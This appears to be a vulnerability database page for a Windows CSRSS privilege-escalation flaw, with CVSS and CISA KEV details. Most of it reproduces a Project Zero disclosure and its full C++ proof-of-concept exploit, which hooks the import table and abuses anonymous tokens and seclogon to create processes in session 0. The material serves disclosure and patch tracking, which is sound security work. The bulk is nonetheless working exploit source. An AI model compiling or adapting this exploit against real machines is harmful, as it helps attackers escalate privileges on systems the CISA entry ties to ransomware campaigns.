Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE Other |
No informations. |
|
CWE-269 |
Improper Privilege Management The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.1 |
7.8 |
HIGH |
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : Microsoft Windows CSRSS Security Feature Bypass Vulnerability
Required action : Apply updates per vendor instructions.
Known To Be Used in Ransomware Campaigns : Known
Added : 2022-03-27 22h00 +00:00
Action is due : 2022-04-17 22h00 +00:00
Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 39740
Publication date : 2016-04-26 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=692
Windows: CSRSS BaseSrvCheckVDM Session 0 Process Creation EoP
Platform: Windows 8.1, not tested on Windows 10 or 7
Class: Elevation of Privilege
Summary:
The CSRSS BaseSrv RPC call BaseSrvCheckVDM allows you to create a new process with the anonymous token, which results on a new process in session 0 which can be abused to elevate privileges.
Description:
CSRSS/basesrv.dll has a RPC method, BaseSrvCheckVDM, which checks whether the Virtual DOS Machine is installed and enabled. On Windows 8 and above the VDM is off by default (on 32 bit Windows) so if disabled CSRSS tries to be helpful and spawns a process on the desktop which asks the user to install the VDM. The token used for the new process comes from the impersonation token of the caller. So by impersonating the anonymous token before the call to CsrClientCallServer we can get CSRSS to use that as the primary token. As the anonymous token has a Session ID of 0 this means it creates a new process in session 0 (because nothing else changes the session ID).
Now this in itself wouldn’t typically be exploitable, there are many places with similar behaviour (for example Win32_Process::Create in WMI) but most places impersonate the primary token it’s going to set over the call to CreateProcessAsUser. If it did this then for most scenarios the call to NtCreateUserProcess would fail with STATUS_ACCESS_DENIED as the anonymous token can’t access much in the way of files, unless of course the default configuration is changed to add the Everyone group to the token.
However in this case the code in BaseSrvLaunchProcess instead calls a method, BasepImpersonateClientProcess which opens the calling process’s primary token, creates an impersonation token and impersonates that. This means that the call is created with the security context of the current user which _can_ access arbitrary files. So BaseSrvLaunchProcess does roughly:
CsrImpersonateClient(0);
OpenThreadToken(..., &hToken);
DuplicateTokenEx(hToken, …, TokenPrimary, &hPrimaryToken); <- The anonymous token
RevertToSelf();
OpenProcessToken(hCallerProcess, &hToken);
DuplicateToken(hToken, SecurityImpersonation, &hImpToken);
SetThreadToken(hThread, hImpTOken); <- This impersonates the user
NtCreateUserProcess(...); <- Succeeds, creates process as Anonymous Logon in Session 0.
Of course this new process in session 0 can’t do a lot due to it being run as the Anonymous Logon user, and in fact will die pretty quickly during initialization. However we can at least get a handle to it before it dies. At least if you have multiple CPUs it should be possible to win the race to open it and suspend the process before death (in fact for later exploitation you might not need it alive at all, just a handle is sufficient). Now you could patch out the LDR calls and allow the process to initialize, but it would be more useful to have a process as the current user with the session ID 0.
One way we can do this is exploiting CreateProcessWithLogonW. If we use the LOGON_NETCREDENTIALS_ONLY flag then seclogon will create a new process based on the current callers token (which is the current user) but the service takes a Process ID value which indicates the parent process. It’s the parent process’s session ID which is used to determine what session the new token should really be in. So if we call seclogon, passing the PID of the anonymous token process but call it from the current user we’ll get an arbitrary process created with the current user token but in session 0. There’s some fun to do with default DACLs and the like to make this all work but that’s an implementation detail.
The final question is is this useful? Session 0 has a special place in the security model on Windows, even more so since Vista with Session 0 isolation. For example because we’re in session 0 we can drop arbitrarily named Sections and Symbolic Links in \BaseNamedObjects which normally requires SeCreateGlobalPrivilege this might allow a low privilege user to interact with system services which no longer expect this kind of attack vector. Also there’s probably other places which check for Session ID 0 to make some sort of trust decision.
Note even though the VDM isn’t present on x64 builds of Windows these CSRSS RPC calls still seem to exist and so should be vulnerable.
From a fixing perspective I guess CSRSS should consistently use the same token for the primary and the impersonation. In the more general case I wonder if the anonymous token should have its Session ID set to the caller’s session ID when it impersonates to to prevent this scenario in the first place, but I bet there’s some difficult edge cases on that.
Proof of Concept:
I’ve provided a PoC as a C++ source code file. You need to compile it with VC++. This must be run on Windows 8.1 32 bit version as I abuse the existing code in CreateProcess to call CSRSS when trying to create a 16bit DOS executable. This is rather than going to the effort of reverse engineering the call. However if you did that it should work in a similar way on 64 bit windows. Also you MUST run it on a multi-processor system, you might not be able to win the race on a single core system, but I’ve not verified that. If it seems to get stuck and no new process is created it might have lost the race, try it again. Also try rebooting, I’ve observed the control panel sometimes not being created for some reason which a reboot tends to fix.
1) Compile the C++ source code file.
2) Execute the poc executable as a normal user. This will not work from low IL.
3) If successful a copy of notepad should be created (suspended though as it’ll crash trying to access the Window Station if it starts). You can create a process which will survive to add stuff to things like BaseNamedObjects but I’ve not provided such an executable.
Expected Result:
The call to BaseSrvCheckVDM should fail to create the control panel process.
Observed Result:
A new copy of notepad is created suspended. You can observe that it runs as the current user’s token but in Session ID 0.
*/
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <sddl.h>
extern "C" {
NTSTATUS NTAPI NtGetNextProcess(
HANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
ULONG HandleAttributes,
ULONG Flags,
PHANDLE NewProcessHandle);
NTSTATUS NTAPI NtSuspendProcess(HANDLE ProcessHandle);
}
HANDLE g_hProcess = nullptr;
void SetProcessId(DWORD pid) {
__asm {
mov edx, [pid];
mov eax, fs:[0x18]
mov [eax+0x20], edx
}
}
DWORD CALLBACK CaptureAndSuspendProcess(LPVOID)
{
ImpersonateAnonymousToken(GetCurrentThread());
while (NtGetNextProcess(nullptr, MAXIMUM_ALLOWED, 0, 0, &g_hProcess) != 0)
{
}
NTSTATUS status = NtSuspendProcess(g_hProcess);
printf("Suspended process: %08X %p %d\n", status, g_hProcess, GetProcessId(g_hProcess));
RevertToSelf();
SetProcessId(GetProcessId(g_hProcess));
WCHAR cmdline[] = L"notepad.exe";
STARTUPINFO startInfo = {};
PROCESS_INFORMATION procInfo = {};
startInfo.cb = sizeof(startInfo);
if (CreateProcessWithLogonW(L"user", L"domain", L"password", LOGON_NETCREDENTIALS_ONLY,
nullptr, cmdline, CREATE_SUSPENDED, nullptr, nullptr, &startInfo, &procInfo))
{
printf("Created process %d\n", procInfo.dwProcessId);
}
else
{
printf("Create error: %d\n", GetLastError());
}
TerminateProcess(g_hProcess, 0);
ExitProcess(0);
return 0;
}
HANDLE GetAnonymousToken()
{
ImpersonateAnonymousToken(GetCurrentThread());
HANDLE hToken;
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &hToken);
RevertToSelf();
PSECURITY_DESCRIPTOR pSD;
ULONG sd_length;
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;;GA;;;WD)(A;;GA;;;AN)", SDDL_REVISION_1, &pSD, &sd_length))
{
printf("Error converting SDDL: %d\n", GetLastError());
exit(1);
}
TOKEN_DEFAULT_DACL dacl;
BOOL bPresent;
BOOL bDefaulted;
PACL pDACL;
GetSecurityDescriptorDacl(pSD, &bPresent, &pDACL, &bDefaulted);
dacl.DefaultDacl = pDACL;
if (!SetTokenInformation(hToken, TokenDefaultDacl, &dacl, sizeof(dacl)))
{
printf("Error setting default DACL: %d\n", GetLastError());
exit(1);
}
return hToken;
}
#define PtrFromRva( base, rva ) ( ( ( PBYTE ) base ) + rva )
/*++
Routine Description:
Replace the function pointer in a module's IAT.
Parameters:
Module - Module to use IAT from.
ImportedModuleName - Name of imported DLL from which
function is imported.
ImportedProcName - Name of imported function.
AlternateProc - Function to be written to IAT.
OldProc - Original function.
Return Value:
S_OK on success.
(any HRESULT) on failure.
--*/
HRESULT PatchIat(
__in HMODULE Module,
__in PSTR ImportedModuleName,
__in PSTR ImportedProcName,
__in PVOID AlternateProc,
__out_opt PVOID *OldProc
)
{
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)Module;
PIMAGE_NT_HEADERS NtHeader;
PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor;
UINT Index;
NtHeader = (PIMAGE_NT_HEADERS)
PtrFromRva(DosHeader, DosHeader->e_lfanew);
if (IMAGE_NT_SIGNATURE != NtHeader->Signature)
{
return HRESULT_FROM_WIN32(ERROR_BAD_EXE_FORMAT);
}
ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)
PtrFromRva(DosHeader,
NtHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
//
// Iterate over import descriptors/DLLs.
//
for (Index = 0;
ImportDescriptor[Index].Characteristics != 0;
Index++)
{
PSTR dllName = (PSTR)
PtrFromRva(DosHeader, ImportDescriptor[Index].Name);
if (0 == _strcmpi(dllName, ImportedModuleName))
{
//
// This the DLL we are after.
//
PIMAGE_THUNK_DATA Thunk;
PIMAGE_THUNK_DATA OrigThunk;
if (!ImportDescriptor[Index].FirstThunk ||
!ImportDescriptor[Index].OriginalFirstThunk)
{
return E_INVALIDARG;
}
Thunk = (PIMAGE_THUNK_DATA)
PtrFromRva(DosHeader,
ImportDescriptor[Index].FirstThunk);
OrigThunk = (PIMAGE_THUNK_DATA)
PtrFromRva(DosHeader,
ImportDescriptor[Index].OriginalFirstThunk);
for (; OrigThunk->u1.Function != NULL;
OrigThunk++, Thunk++)
{
if (OrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
//
// Ordinal import - we can handle named imports
// ony, so skip it.
//
continue;
}
PIMAGE_IMPORT_BY_NAME import = (PIMAGE_IMPORT_BY_NAME)
PtrFromRva(DosHeader, OrigThunk->u1.AddressOfData);
if (0 == strcmp(ImportedProcName,
(char*)import->Name))
{
//
// Proc found, patch it.
//
DWORD junk;
MEMORY_BASIC_INFORMATION thunkMemInfo;
//
// Make page writable.
//
VirtualQuery(
Thunk,
&thunkMemInfo,
sizeof(MEMORY_BASIC_INFORMATION));
if (!VirtualProtect(
thunkMemInfo.BaseAddress,
thunkMemInfo.RegionSize,
PAGE_EXECUTE_READWRITE,
&thunkMemInfo.Protect))
{
return HRESULT_FROM_WIN32(GetLastError());
}
//
// Replace function pointers (non-atomically).
//
if (OldProc)
{
*OldProc = (PVOID)(DWORD_PTR)
Thunk->u1.Function;
}
#ifdef _WIN64
Thunk->u1.Function = (ULONGLONG)(DWORD_PTR)
AlternateProc;
#else
Thunk->u1.Function = (DWORD)(DWORD_PTR)
AlternateProc;
#endif
//
// Restore page protection.
//
if (!VirtualProtect(
thunkMemInfo.BaseAddress,
thunkMemInfo.RegionSize,
thunkMemInfo.Protect,
&junk))
{
return HRESULT_FROM_WIN32(GetLastError());
}
return S_OK;
}
}
//
// Import not found.
//
return HRESULT_FROM_WIN32(ERROR_PROC_NOT_FOUND);
}
}
//
// DLL not found.
//
return HRESULT_FROM_WIN32(ERROR_MOD_NOT_FOUND);
}
typedef void* (__stdcall *fCsrClientCallServer)(void* a, void* b, DWORD c, void* d);
fCsrClientCallServer g_pCsgClientCallServer;
void* __stdcall CsrClientCallServerHook(void* a, void* b, DWORD c, void* d)
{
void* ret = nullptr;
printf("In ClientCall hook %08X\n", c);
if (c == 0x10010005)
{
printf("Set Anonymous Token: %d\n", SetThreadToken(nullptr, GetAnonymousToken()));
}
ret = g_pCsgClientCallServer(a, b, c, d);
RevertToSelf();
return ret;
}
int main(int argc, char** argv)
{
BOOL is_wow64 = FALSE;
if (IsWow64Process(GetCurrentProcess(), &is_wow64) && is_wow64)
{
printf("Error: This must be run on 32 bit Windows\n");
return 1;
}
// Hook the call to CsrClientCallServer from kernel32 to apply the anonymous token.
PVOID hook;
HRESULT hr = PatchIat(GetModuleHandle(L"kernel32.dll"), "ntdll.dll", "CsrClientCallServer", CsrClientCallServerHook, &hook);
if (FAILED(hr))
{
printf("Error patching IAT: %08X\n", hr);
return 1;
}
g_pCsgClientCallServer = (fCsrClientCallServer)hook;
printf("Patched client %p %p\n", hook, GetProcAddress(GetModuleHandle(L"ntdll.dll"), "CsrClientCallServer"));
HANDLE hThread = CreateThread(nullptr, 0, CaptureAndSuspendProcess, nullptr, 0, nullptr);
// Wait a little just to ensure capture loop is running.
Sleep(1000);
STARTUPINFO startInfo = {};
startInfo.cb = sizeof(startInfo);
PROCESS_INFORMATION procInfo = {};
WCHAR cmdline[] = L"edit.com";
// Create a 16bit executable, this will call into CSRSS which we've hooked.
CreateProcess(nullptr, cmdline, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo);
return 0;
}
Products Mentioned
Configuraton 0
Microsoft>>Windows_10_1507 >> Version -
Microsoft>>Windows_10_1511 >> Version -
Microsoft>>Windows_8.1 >> Version -
Microsoft>>Windows_rt_8.1 >> Version -
Microsoft>>Windows_server_2012 >> Version -
Microsoft>>Windows_server_2012 >> Version r2
References